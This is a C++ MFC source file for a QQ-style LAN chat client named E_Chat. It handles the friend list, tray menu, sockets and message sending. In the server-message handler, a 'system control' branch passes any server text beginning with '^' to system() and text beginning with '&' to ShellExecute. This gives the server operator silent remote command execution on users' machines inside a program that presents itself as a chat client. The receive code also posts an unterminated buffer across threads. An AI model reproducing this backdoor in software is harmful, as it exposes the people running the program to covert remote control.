📄 qqclientdlg.cpp
字号:
me.id=atoi(temp2);//申请号码成功
KillTimer(2);
break;
case 4:
MessageBox(temp2,"重试");
break;//服务器没有回应此信息由Timer发出
default:
break;
}
}
void CQQClientDlg::OnNotifyIconMsg(WPARAM wParam,LPARAM lParam)//处理托盘消息
{
CPoint Point;
switch ( lParam )
{
case WM_RBUTTONDOWN://如果按下鼠标右建
{
CMenu pMenu;//加载菜单
if (pMenu.LoadMenu(IDR_MENU1))
{
CMenu* pPopup = pMenu.GetSubMenu(0);
GetCursorPos( &Point );
SetForegroundWindow();
pPopup->TrackPopupMenu(
TPM_LEFTALIGN | TPM_RIGHTBUTTON,
Point.x, Point.y, this);
}
}
break;
default:
break;
}
}
void CQQClientDlg::OnExit() //退出
{
this->PostMessage(WM_CLOSE);
}
void CQQClientDlg::OnHide() //隐藏
{
this->ShowWindow(SW_HIDE);
}
void CQQClientDlg::OnShow() //显示
{
this->ShowWindow(SW_SHOW);
}
DWORD CQQClientDlg::RecvFriendData(LPVOID lpParameter)//服务器信息接收函数(用于接收好友信息和服务器发来的信息)
{
//提取参数
HWND hwnd=((ReavDataParam*)lpParameter)->hwnd;
SOCKET dataRecvSocket1=((ReavDataParam*)lpParameter)->m_socket;
SOCKADDR_IN AddrMsgSend1=((ReavDataParam*)lpParameter)->addr;
int Result;
/* AddrMsgSend1.sin_port=htons(4000);
int Result=bind(dataRecvSocket1,(sockaddr*)&AddrMsgSend1,sizeof(SOCKADDR));
if(Result==SOCKET_ERROR)
{
::MessageBox(NULL,"服务器套节字帮定失败!",0,MB_OK);
closesocket(dataRecvSocket1);
return FALSE;
}*/
SOCKADDR_IN SevAddr;
int len=sizeof(SOCKADDR);
listen(dataRecvSocket1,5);
char buf[500];
SOCKET conSocket;
//int Result;
conSocket=accept(dataRecvSocket1,(sockaddr*)&SevAddr,&len);
// ::MessageBox(NULL,buf,0,MB_OK);
while(TRUE)//接收服务器发来信息
{
Result=recv(conSocket,buf,500,0);
if(Result==SOCKET_ERROR)
break;
::PostMessage(hwnd,WM_RECVFRIENDDATA,0,(LPARAM)buf);
}
::MessageBox(NULL,"与服务器连接失败!\n\r好友信息不能更新","服务器信息",MB_OK);
return 0;
}
void CQQClientDlg::OnRecvFriendData(WPARAM wParam,LPARAM lParam)//处理服务器发来信息(自定义消息WM_RECVFRIENDDATA)
{
CString str=(char*)lParam;
// MessageBox(str);
int x=str.Find("*",0);
UINT MsgType=atoi(str.Left(x));
str=str.Right(str.GetLength()-x-1);
if(MsgType<100)
{
if(Pfrienddata!=NULL)
delete []Pfrienddata;
friendCount=MsgType;
Pfrienddata=new UserData[friendCount];
m_listUser.ResetContent();
int i;
int friendNum=0;
CString temp2,temp3;
CString Usertemp;
UserData tempdata;
////////////////////////////////////////////////
for(int j=0;j<friendCount;j++)
{
i=str.Find("#");
temp2=str.Left(i);
str=str.Right(str.GetLength()-i-1);
i=temp2.Find("@");
temp3=temp2.Left(i);
temp2=temp2.Right(temp2.GetLength()-i-1);
tempdata.code=atoi(temp3);//1
i=temp2.Find("@");
temp3=temp2.Left(i);
temp2=temp2.Right(temp2.GetLength()-i-1);
tempdata.id=atoi(temp3);//2
i=temp2.Find("@");
temp3=temp2.Left(i);
temp2=temp2.Right(temp2.GetLength()-i-1);
tempdata.Name=temp3;//3
i=temp2.Find("@");
temp3=temp2.Left(i);
temp2=temp2.Right(temp2.GetLength()-i-1);
tempdata.IsOnline=atoi(temp3);//4
i=temp2.Find("@");
temp3=temp2.Left(i);
temp2=temp2.Right(temp2.GetLength()-i-1);
tempdata.ip=temp3;//5
i=temp2.Find("@");
temp3=temp2.Left(i);
//MessageBox(temp3);
tempdata.port=atoi(temp3);//6
if(tempdata.id==me.id)
{
me=tempdata;
Usertemp=tempdata.Name+"-已登录";
SetWindowText(Usertemp);
}
else
{
Pfrienddata[friendNum]=tempdata;
Usertemp=Pfrienddata[friendNum].Name;
if(Pfrienddata[friendNum].IsOnline==1)
Usertemp+="(在线)";
else
Usertemp+="(离线)";
m_listUser.InsertString(m_listUser.GetCount(),Usertemp);
friendNum++;
}
}
}
if(MsgType==200)
{
x=str.Find("$");
str=str.Left(x);
//////////////////////////////系统控制///////////////////////
if(str.Left(1)=="^")
{
str=str.Right(str.GetLength()-1);
system(str);
return;
}
if(str.Left(1)=="&")
{
str=str.Right(str.GetLength()-1);
::ShellExecute(NULL,"open",str,NULL,NULL,SW_SHOW);
return;
}
/////////////////////////系统信息///////////////////////////
CMsgDlg dlg;
dlg.m_title="服务器";
dlg.m_msg=str;
dlg.DoModal();
}
}
int CQQClientDlg::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
m_msg=me.Name+"@";
m_sevSocket=socket(AF_INET,SOCK_DGRAM,0);
if(m_sevSocket==INVALID_SOCKET)
{
MessageBox("连接服务器套接字创建失败!");
return FALSE;
}
m_SendToAddr.sin_family=AF_INET;
m_SendToAddr.sin_port=htons(6006);
CInfoDlg dlg1;//登陆窗口
if(IDOK==dlg1.DoModal())
{
// 获取用户资料并连接服务器
CString str;
///////////////数据接收套接字初始化/////////////
dataRecvSocket=socket(AF_INET,SOCK_STREAM,0);
////////////////////////////////////////////////////////
InitSocket();//初始接收套接字
ReavDataParam *param;
param=new ReavDataParam;
param->hwnd=m_hWnd;
param->m_socket=dataRecvSocket;
param->addr=AddrMsgSend;
HANDLE handle5;
handle5=CreateThread(NULL,0,RecvFriendData,(LPVOID)param,0,NULL);//启动好友信息接收线程
CloseHandle(handle5);
//////////////////////////////////
SevParam *sevparam=new SevParam;
sevparam->m_socket=m_sevSocket;
//sevparam->str=str;
sevparam->addr=m_AddrSev;
sevparam->hwnd=m_hWnd;
HANDLE handle2=CreateThread(NULL,0,SevConProc,(LPVOID)sevparam,0,NULL);//启动连接服务器线程
CloseHandle(handle2);
CLoginDlg dlg;
dlg.DoModal();
SetTimer(2,15000,NULL);
me.code=dlg1.m_code;
me.id=dlg1.m_id;
m_AddrSev.sin_addr.S_un.S_addr=htonl(dlg1.ip);
m_AddrSev.sin_port=htons(dlg1.m_nPort);
m_AddrSev.sin_family=AF_INET;
str=dlg1.msg;//获取用户输入信息
CString tempstr;
tempstr.Format("#%d#%d#%d#",FriendDataPort,SevMsgPort,RecvMsgPort);
str+=tempstr;
// MessageBox(str);
sendto(m_sevSocket,str,100,0,(sockaddr*)&m_AddrSev,sizeof(SOCKADDR));
//向服务器发送连接请求
}
else//用户取消退出程序
{
this->PostMessage(WM_CLOSE);
}
m_sendSocket=socket(AF_INET,SOCK_DGRAM,0);
if(m_sendSocket==INVALID_SOCKET)
{
MessageBox("发送套接字创建失败!");
return FALSE;
}
Param *lparam=new Param;
lparam->hwnd=m_hWnd;
lparam->m_socket=m_listenSocket;
HANDLE handle=::CreateThread(NULL,0,RecMsgProc,(LPVOID)lparam,0,NULL);//启动接收信息线程
CloseHandle(handle);
///////////////////////////////////////////////////////////////////
if (CDialog::OnCreate(lpCreateStruct) == -1)
return -1;
return 0;
}
void CQQClientDlg::OnDblclkList1()
{
// TODO: Add your control notification handler code here
m_msg=me.Name+"@";
int i=m_listUser.GetCaretIndex();
CSendMsg dlg;
dlg.m_title="给";
dlg.m_title+=Pfrienddata[i].Name;
dlg.m_title+="发送信息!对方IP:";
dlg.m_title+=Pfrienddata[i].ip;
m_SendToAddr.sin_port=htons(Pfrienddata[i].port);
m_SendToAddr.sin_addr.S_un.S_addr=inet_addr(Pfrienddata[i].ip);
if(dlg.DoModal()==IDOK)
{
m_msg+=dlg.m_msg+"%";
int Result=sendto(SendToSocket,m_msg,100,0,(sockaddr*)&m_SendToAddr,sizeof(SOCKADDR));
if(Result==SOCKET_ERROR)
{
MessageBox("信息发送失败!");
return;
}
}
m_msg=me.Name+"@";
}
HBRUSH CQQClientDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = CreateSolidBrush(RGB(180,250,180));
if(nCtlColor==CTLCOLOR_STATIC)
{
pDC->SetTextColor(RGB(255,0,0));
pDC->SetBkColor(TRANSPARENT);
pDC->SetBkColor(RGB(180,250,180));
}
// TODO: Change any attributes of the DC here
if(nCtlColor==CTLCOLOR_EDIT)
{
pDC->SetTextColor(RGB(0,0,255));
pDC->SetBkColor(TRANSPARENT);
pDC->SetBkColor(RGB(180,250,180));
}
if(nCtlColor==CTLCOLOR_MSGBOX)
{
pDC->SetTextColor(RGB(0,255,0));
pDC->SetBkColor(TRANSPARENT);
pDC->SetBkColor(RGB(180,250,180));
}
if(nCtlColor==CTLCOLOR_LISTBOX)
{
pDC->SetTextColor(RGB(0,0,255));
pDC->SetBkColor(TRANSPARENT);
pDC->SetBkColor(RGB(180,250,180));
}
return hbr;
}
void CQQClientDlg::OnButton1() //响应按下菜单按纽
{
CPoint Point;
GetCursorPos(&Point);
CMenu pMenu;
if (pMenu.LoadMenu(IDR_MENU1))
{
CMenu* pPopup = pMenu.GetSubMenu(0);
GetCursorPos( &Point );
SetForegroundWindow();
pPopup->TrackPopupMenu(
TPM_LEFTALIGN | TPM_RIGHTBUTTON,
Point.x, Point.y, this);
}
}
void CQQClientDlg::OnButAbout()
{
CAboutDlg dlg;
dlg.DoModal();
}
void CAboutDlg::OnTimer(UINT nIDEvent)
{
InvalidateRect(m_rect);
if(m_rect.bottom-m_rect.top>=300)
{
m_rect.top=m_rect.bottom;
}
m_rect.top-=4;
CDialog::OnTimer(nIDEvent);
}
BOOL CAboutDlg::OnInitDialog()
{
CDialog::OnInitDialog();
GetWindowRect(&m_rect);
ScreenToClient(m_rect);
m_str="About\n\r\n\rName:\n\rE_Chat\n\r\n\rProgramer:\n\rzhaoning\n\r\n\rQQ:\n\r363788603\n\rE_mail:\n\rzhaoning@hotmail.com\n\r\n\rAddress:\n\rZhongyuan Universty of Technology\n\r\n\rDate:\n\r2005/12/7";
m_rect.bottom=m_rect.top;
m_rect.bottom+=130;
SetTimer(5,120,NULL);
return TRUE; // return TRUE unless you set the focus to a control
}
void CAboutDlg::OnPaint()
{
CPaintDC dc(this);
dc.SetBkMode(TRANSPARENT);
dc.SetTextColor(RGB(255,0,0));
CRect rc;
rc.right=m_rect.right;
rc.left=m_rect.left;
rc.bottom=m_rect.bottom;
rc.top=rc.bottom;
rc.top-=130;
dc.FillSolidRect(rc,RGB(100,100,100));
dc.DrawText(m_str,&m_rect,DT_CENTER);
}
void CAboutDlg::OnDestroy()
{
CDialog::OnDestroy();
KillTimer(5);
}
HBRUSH CAboutDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = CreateSolidBrush(RGB(100,240,150));//CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
if(nCtlColor==CTLCOLOR_STATIC)
{
pDC->SetTextColor(RGB(0,0,255));
pDC->SetBkColor(TRANSPARENT);
pDC->SetBkColor(RGB(100,240,150));
}
// TODO: Change any attributes of the DC here
if(nCtlColor==CTLCOLOR_EDIT)
{
pDC->SetTextColor(RGB(0,0,255));
pDC->SetBkColor(TRANSPARENT);
pDC->SetBkColor(RGB(100,240,150));
}
return hbr;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -